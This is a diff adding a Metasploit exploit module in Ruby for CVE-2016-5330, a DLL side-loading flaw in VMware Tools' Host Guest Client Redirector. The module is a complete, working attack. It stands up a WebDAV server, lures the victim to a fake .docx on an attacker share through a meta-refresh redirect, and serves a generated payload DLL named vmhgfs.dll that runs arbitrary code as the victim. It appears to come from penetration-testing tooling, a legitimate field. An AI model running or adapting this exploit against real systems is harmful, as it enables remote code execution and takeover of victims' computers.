|
| 1 | +require 'msf/core' |
| 2 | + |
| 3 | +class MetasploitModule < Msf::Exploit::Remote |
| 4 | + Rank = NormalRanking |
| 5 | + |
| 6 | + include Msf::Exploit::Remote::HttpServer::HTML |
| 7 | + include Msf::Exploit::EXE |
| 8 | + |
| 9 | + def initialize(info = {}) |
| 10 | + super(update_info(info, |
| 11 | + 'Name' => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector', |
| 12 | + 'Description' => %q{ |
| 13 | + A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector, |
| 14 | + a component of VMware Tools. This issue can be exploited by luring a victim into |
| 15 | + opening a document from the attacker's share. An attacker can exploit this issue to |
| 16 | + execute arbitrary code with the privileges of the target user. This can potentially |
| 17 | + result in the attacker taking complete control of the affected system. If the WebDAV |
| 18 | + Mini-Redirector is enabled, it is possible to exploit this issue over the internet. |
| 19 | + }, |
| 20 | + 'Author' => 'Yorick Koster', |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'References' => |
| 23 | + [ |
| 24 | + ['CVE', '2016-5330'], |
| 25 | + ['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'], |
| 26 | + ['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'], |
| 27 | + ], |
| 28 | + 'DefaultOptions' => |
| 29 | + { |
| 30 | + 'EXITFUNC' => 'thread' |
| 31 | + }, |
| 32 | + 'Payload' => { 'Space' => 2048, }, |
| 33 | + 'Platform' => 'win', |
| 34 | + 'Targets' => |
| 35 | + [ |
| 36 | + [ 'Windows x64', {'Arch' => ARCH_X86_64,} ], |
| 37 | + [ 'Windows x86', {'Arch' => ARCH_X86,} ] |
| 38 | + ], |
| 39 | + 'Privileged' => false, |
| 40 | + 'DisclosureDate' => 'Aug 5 2016', |
| 41 | + 'DefaultTarget' => 0)) |
| 42 | + |
| 43 | + register_options( |
| 44 | + [ |
| 45 | + OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), |
| 46 | + OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]), |
| 47 | + OptString.new('BASENAME', [ true, "The base name for the docx file", "Document1" ]), |
| 48 | + OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ]) |
| 49 | + ], self.class) |
| 50 | + |
| 51 | + # no SSL |
| 52 | + deregister_options('SSL', 'SSLVersion', 'SSLCert') |
| 53 | + end |
| 54 | + |
| 55 | + |
| 56 | + def on_request_uri(cli, request) |
| 57 | + case request.method |
| 58 | + when 'OPTIONS' |
| 59 | + process_options(cli, request) |
| 60 | + when 'PROPFIND' |
| 61 | + process_propfind(cli, request) |
| 62 | + when 'GET' |
| 63 | + process_get(cli, request) |
| 64 | + else |
| 65 | + print_status("#{request.method} => 404 (#{request.uri})") |
| 66 | + resp = create_response(404, "Not Found") |
| 67 | + resp.body = "" |
| 68 | + resp['Content-Type'] = 'text/html' |
| 69 | + cli.send_response(resp) |
| 70 | + end |
| 71 | + end |
| 72 | + |
| 73 | + |
| 74 | + def process_get(cli, request) |
| 75 | + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] |
| 76 | + webdav = "\\\\#{myhost}\\" |
| 77 | + |
| 78 | + if (request.uri =~ /vmhgfs\.dll$/i) |
| 79 | + print_status("GET => DLL Payload (#{request.uri})") |
| 80 | + return if ((p = regenerate_payload(cli)) == nil) |
| 81 | + data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded }) |
| 82 | + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) |
| 83 | + return |
| 84 | + end |
| 85 | + |
| 86 | + if (request.uri =~ /\.docx$/i) |
| 87 | + print_status("GET => DOCX (#{request.uri})") |
| 88 | + send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' }) |
| 89 | + return |
| 90 | + end |
| 91 | + |
| 92 | + if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i) |
| 93 | + print_status("GET => REDIRECT (#{request.uri})") |
| 94 | + resp = create_response(200, "OK") |
| 95 | + resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>| |
| 96 | + resp['Content-Type'] = 'text/html' |
| 97 | + cli.send_response(resp) |
| 98 | + return |
| 99 | + end |
| 100 | + |
| 101 | + print_status("GET => 404 (#{request.uri})") |
| 102 | + resp = create_response(404, "Not Found") |
| 103 | + resp.body = "" |
| 104 | + cli.send_response(resp) |
| 105 | + end |
| 106 | + |
| 107 | + # |
| 108 | + # OPTIONS requests sent by the WebDav Mini-Redirector |
| 109 | + # |
| 110 | + def process_options(cli, request) |
| 111 | + print_status("OPTIONS #{request.uri}") |
| 112 | + headers = { |
| 113 | + 'MS-Author-Via' => 'DAV', |
| 114 | + 'DASL' => '<DAV:sql>', |
| 115 | + 'DAV' => '1, 2', |
| 116 | + 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', |
| 117 | + 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', |
| 118 | + 'Cache-Control' => 'private' |
| 119 | + } |
| 120 | + resp = create_response(207, "Multi-Status") |
| 121 | + headers.each_pair {|k,v| resp[k] = v } |
| 122 | + resp.body = "" |
| 123 | + resp['Content-Type'] = 'text/xml' |
| 124 | + cli.send_response(resp) |
| 125 | + end |
| 126 | + |
| 127 | + # |
| 128 | + # PROPFIND requests sent by the WebDav Mini-Redirector |
| 129 | + # |
| 130 | + def process_propfind(cli, request) |
| 131 | + path = request.uri |
| 132 | + print_status("PROPFIND #{path}") |
| 133 | + body = '' |
| 134 | + |
| 135 | + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] |
| 136 | + my_uri = "http://#{my_host}/" |
| 137 | + |
| 138 | + if path !~ /\/$/ |
| 139 | + |
| 140 | + if blacklisted_path?(path) |
| 141 | + print_status "PROPFIND => 404 (#{path})" |
| 142 | + resp = create_response(404, "Not Found") |
| 143 | + resp.body = "" |
| 144 | + cli.send_response(resp) |
| 145 | + return |
| 146 | + end |
| 147 | + |
| 148 | + if path.index(".") |
| 149 | + print_status "PROPFIND => 207 File (#{path})" |
| 150 | + body = %Q|<?xml version="1.0" encoding="utf-8"?> |
| 151 | +<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> |
| 152 | +<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> |
| 153 | +<D:href>#{path}</D:href> |
| 154 | +<D:propstat> |
| 155 | +<D:prop> |
| 156 | +<lp1:resourcetype/> |
| 157 | +<lp1:creationdate>#{gen_datestamp}</lp1:creationdate> |
| 158 | +<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength> |
| 159 | +<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> |
| 160 | +<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> |
| 161 | +<lp2:executable>T</lp2:executable> |
| 162 | +<D:supportedlock> |
| 163 | +<D:lockentry> |
| 164 | +<D:lockscope><D:exclusive/></D:lockscope> |
| 165 | +<D:locktype><D:write/></D:locktype> |
| 166 | +</D:lockentry> |
| 167 | +<D:lockentry> |
| 168 | +<D:lockscope><D:shared/></D:lockscope> |
| 169 | +<D:locktype><D:write/></D:locktype> |
| 170 | +</D:lockentry> |
| 171 | +</D:supportedlock> |
| 172 | +<D:lockdiscovery/> |
| 173 | +<D:getcontenttype>application/octet-stream</D:getcontenttype> |
| 174 | +</D:prop> |
| 175 | +<D:status>HTTP/1.1 200 OK</D:status> |
| 176 | +</D:propstat> |
| 177 | +</D:response> |
| 178 | +</D:multistatus> |
| 179 | +| |
| 180 | + # send the response |
| 181 | + resp = create_response(207, "Multi-Status") |
| 182 | + resp.body = body |
| 183 | + resp['Content-Type'] = 'text/xml; charset="utf8"' |
| 184 | + cli.send_response(resp) |
| 185 | + return |
| 186 | + else |
| 187 | + print_status "PROPFIND => 301 (#{path})" |
| 188 | + resp = create_response(301, "Moved") |
| 189 | + resp["Location"] = path + "/" |
| 190 | + resp['Content-Type'] = 'text/html' |
| 191 | + cli.send_response(resp) |
| 192 | + return |
| 193 | + end |
| 194 | + end |
| 195 | + |
| 196 | + print_status "PROPFIND => 207 Directory (#{path})" |
| 197 | + body = %Q|<?xml version="1.0" encoding="utf-8"?> |
| 198 | +<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> |
| 199 | +<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> |
| 200 | +<D:href>#{path}</D:href> |
| 201 | +<D:propstat> |
| 202 | +<D:prop> |
| 203 | +<lp1:resourcetype><D:collection/></lp1:resourcetype> |
| 204 | +<lp1:creationdate>#{gen_datestamp}</lp1:creationdate> |
| 205 | +<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> |
| 206 | +<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> |
| 207 | +<D:supportedlock> |
| 208 | +<D:lockentry> |
| 209 | +<D:lockscope><D:exclusive/></D:lockscope> |
| 210 | +<D:locktype><D:write/></D:locktype> |
| 211 | +</D:lockentry> |
| 212 | +<D:lockentry> |
| 213 | +<D:lockscope><D:shared/></D:lockscope> |
| 214 | +<D:locktype><D:write/></D:locktype> |
| 215 | +</D:lockentry> |
| 216 | +</D:supportedlock> |
| 217 | +<D:lockdiscovery/> |
| 218 | +<D:getcontenttype>httpd/unix-directory</D:getcontenttype> |
| 219 | +</D:prop> |
| 220 | +<D:status>HTTP/1.1 200 OK</D:status> |
| 221 | +</D:propstat> |
| 222 | +</D:response> |
| 223 | +| |
| 224 | + |
| 225 | + if request["Depth"].to_i > 0 |
| 226 | + trail = path.split("/") |
| 227 | + trail.shift |
| 228 | + case trail.length |
| 229 | + when 0 |
| 230 | + body << generate_shares(path) |
| 231 | + when 1 |
| 232 | + body << generate_files(path) |
| 233 | + end |
| 234 | + else |
| 235 | + print_status "PROPFIND => 207 Top-Level Directory" |
| 236 | + end |
| 237 | + |
| 238 | + body << "</D:multistatus>" |
| 239 | + |
| 240 | + body.gsub!(/\t/, '') |
| 241 | + |
| 242 | + # send the response |
| 243 | + resp = create_response(207, "Multi-Status") |
| 244 | + resp.body = body |
| 245 | + resp['Content-Type'] = 'text/xml; charset="utf8"' |
| 246 | + cli.send_response(resp) |
| 247 | + end |
| 248 | + |
| 249 | + def generate_shares(path) |
| 250 | + share_name = datastore['SHARENAME'] |
| 251 | +%Q| |
| 252 | +<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> |
| 253 | +<D:href>#{path}#{share_name}/</D:href> |
| 254 | +<D:propstat> |
| 255 | +<D:prop> |
| 256 | +<lp1:resourcetype><D:collection/></lp1:resourcetype> |
| 257 | +<lp1:creationdate>#{gen_datestamp}</lp1:creationdate> |
| 258 | +<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> |
| 259 | +<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> |
| 260 | +<D:supportedlock> |
| 261 | +<D:lockentry> |
| 262 | +<D:lockscope><D:exclusive/></D:lockscope> |
| 263 | +<D:locktype><D:write/></D:locktype> |
| 264 | +</D:lockentry> |
| 265 | +<D:lockentry> |
| 266 | +<D:lockscope><D:shared/></D:lockscope> |
| 267 | +<D:locktype><D:write/></D:locktype> |
| 268 | +</D:lockentry> |
| 269 | +</D:supportedlock> |
| 270 | +<D:lockdiscovery/> |
| 271 | +<D:getcontenttype>httpd/unix-directory</D:getcontenttype> |
| 272 | +</D:prop> |
| 273 | +<D:status>HTTP/1.1 200 OK</D:status> |
| 274 | +</D:propstat> |
| 275 | +</D:response> |
| 276 | +| |
| 277 | + end |
| 278 | + |
| 279 | + def generate_files(path) |
| 280 | + trail = path.split("/") |
| 281 | + return "" if trail.length < 2 |
| 282 | + |
| 283 | + %Q| |
| 284 | +<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> |
| 285 | +<D:href>#{path}#{datastore['BASENAME']}.docx</D:href> |
| 286 | +<D:propstat> |
| 287 | +<D:prop> |
| 288 | +<lp1:resourcetype/> |
| 289 | +<lp1:creationdate>#{gen_datestamp}</lp1:creationdate> |
| 290 | +<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength> |
| 291 | +<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> |
| 292 | +<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> |
| 293 | +<lp2:executable>T</lp2:executable> |
| 294 | +<D:supportedlock> |
| 295 | +<D:lockentry> |
| 296 | +<D:lockscope><D:exclusive/></D:lockscope> |
| 297 | +<D:locktype><D:write/></D:locktype> |
| 298 | +</D:lockentry> |
| 299 | +<D:lockentry> |
| 300 | +<D:lockscope><D:shared/></D:lockscope> |
| 301 | +<D:locktype><D:write/></D:locktype> |
| 302 | +</D:lockentry> |
| 303 | +</D:supportedlock> |
| 304 | +<D:lockdiscovery/> |
| 305 | +<D:getcontenttype>application/octet-stream</D:getcontenttype> |
| 306 | +</D:prop> |
| 307 | +<D:status>HTTP/1.1 200 OK</D:status> |
| 308 | +</D:propstat> |
| 309 | +</D:response> |
| 310 | +| |
| 311 | + end |
| 312 | + |
| 313 | + def gen_timestamp(ttype=nil) |
| 314 | + ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") |
| 315 | + end |
| 316 | + |
| 317 | + def gen_datestamp(ttype=nil) |
| 318 | + ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") |
| 319 | + end |
| 320 | + |
| 321 | + # This method rejects requests that are known to break exploitation |
| 322 | + def blacklisted_path?(uri) |
| 323 | + return true if uri =~ /\.exe/i |
| 324 | + return true if uri =~ /\.(config|manifest)/i |
| 325 | + return true if uri =~ /desktop\.ini/i |
| 326 | + return true if uri =~ /lib.*\.dll/i |
| 327 | + return true if uri =~ /\.tmp$/i |
| 328 | + return true if uri =~ /(pcap|packet)\.dll/i |
| 329 | + false |
| 330 | + end |
| 331 | + |
| 332 | + def exploit |
| 333 | + |
| 334 | + myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] |
| 335 | + |
| 336 | + @exploit_unc = "\\\\#{myhost}\\" |
| 337 | + |
| 338 | + if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' |
| 339 | + fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') |
| 340 | + end |
| 341 | + |
| 342 | + print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}") |
| 343 | + |
| 344 | + super |
| 345 | + end |
| 346 | +end |
0 commit comments